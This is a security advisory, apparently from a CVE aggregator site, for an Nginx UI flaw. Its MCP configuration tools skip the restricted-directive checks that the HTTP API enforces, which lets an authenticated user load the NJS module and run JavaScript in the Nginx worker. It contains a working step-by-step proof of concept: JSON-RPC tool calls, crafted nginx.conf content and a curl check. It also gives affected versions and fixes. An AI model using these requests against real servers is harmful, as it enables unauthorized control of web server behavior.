CVE-2026-84319: Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context

Published Oct 12, 2026
·
Updated

Summary

The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent.

However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.

This is authenticated and is not OS command execution by itself.

Affected component

- /mcp - /mcpmessage - MCP tool: nginxconfigadd - Nginx configuration validation

Impact

A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.

This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.

Minimal PoC

Preconditions

- Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available:

bash find / -name "ngxhttpjsmodule.so" 2>/dev/null

Observed in the lab:

text /usr/lib/nginx/modules/ngxhttpjsmodule.so

1. HTTP API blocks the restricted config

Request:

http POST /api/configs Authorization: <SECONDARYUSERJWT> Content-Type: application/json

Body:

json { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nevents { workerconnections 1024; }\n\nhttp {\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" }

Observed result:

text Rejected because the content contains restricted directives such as loadmodule/jsimport/jscontent.

2. MCP writes the JavaScript file

Open an MCP session and call tools/call with:

json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "poc.js", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "function handler(r) { r.return(200, \"MCPNJSMARKER\\n\"); }\nexport default { handler };\n" } } }

3. MCP writes the NJS-enabled nginx.conf

Call tools/call again:

json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nerrorlog /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { workerconnections 1024; }\n\nhttp {\n defaulttype application/octet-stream;\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" } } }

4. Verify NJS execution

Inside the Nginx UI container:

bash curl -i http://127.0.0.1:18249/poc

Observed response:

http HTTP/1.1 200 OK

MCPNJSMARKER

This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.

Expected behavior

MCP configuration tools should enforce the same restricted directive validation as the HTTP API.

Suggested fix

Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:

- loadmodule - jsimport - jscontent - jsset - perlset - user root

Other sources

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.

— MITRE

Affected Software

2 affected componentsFixes available
Nginx UI Nginx UI<2.4.1
go/github.com/0xJacky/Nginx-UI<1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 1.9.10-0.20260703131214-23d1934099b0
  2. Upgrade

    Upgrade Nginx UI to a version that resolves this vulnerability.

    Fixed in 2.4.1
  3. Compensating control

    Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure the MCP configuration interface uses the same restricted-directive validation tests as the HTTP API, including validation for load_module, js_import, and js_content.

Event History

Oct 12, 2026
CVE Published
via MITRE·09:03 PM
Data Sourced
via MITRE·09:03 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness
Oct 15, 2026
Advisory Published
via GitHub·08:10 PM
Data Sourced
via GitHub·08:10 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

A secondary authenticated Nginx UI user can exploit it through the MCP configuration interface. Exploitation does not require user interaction and can be performed remotely over the network by an authenticated user.

2

What access and capabilities does an attacker need?

The attacker needs credentials for a secondary authenticated user account and access to the MCP configuration interface. They can use it to apply restricted configuration content, load the NJS module, import attacker-controlled JavaScript, and reload Nginx.

3

What is the resulting impact?

Successful exploitation allows attacker-controlled NJS to execute in the Nginx worker context. The reported impacts include high integrity and availability impact, with low confidentiality impact.

4

Which versions are affected and what fixes the issue?

Nginx UI versions prior to 2.4.1 are affected. Upgrade to version 2.4.1, which fixes the MCP interface validation bypass.

Contact

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Fortitude Valley,
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info@secalerts.co
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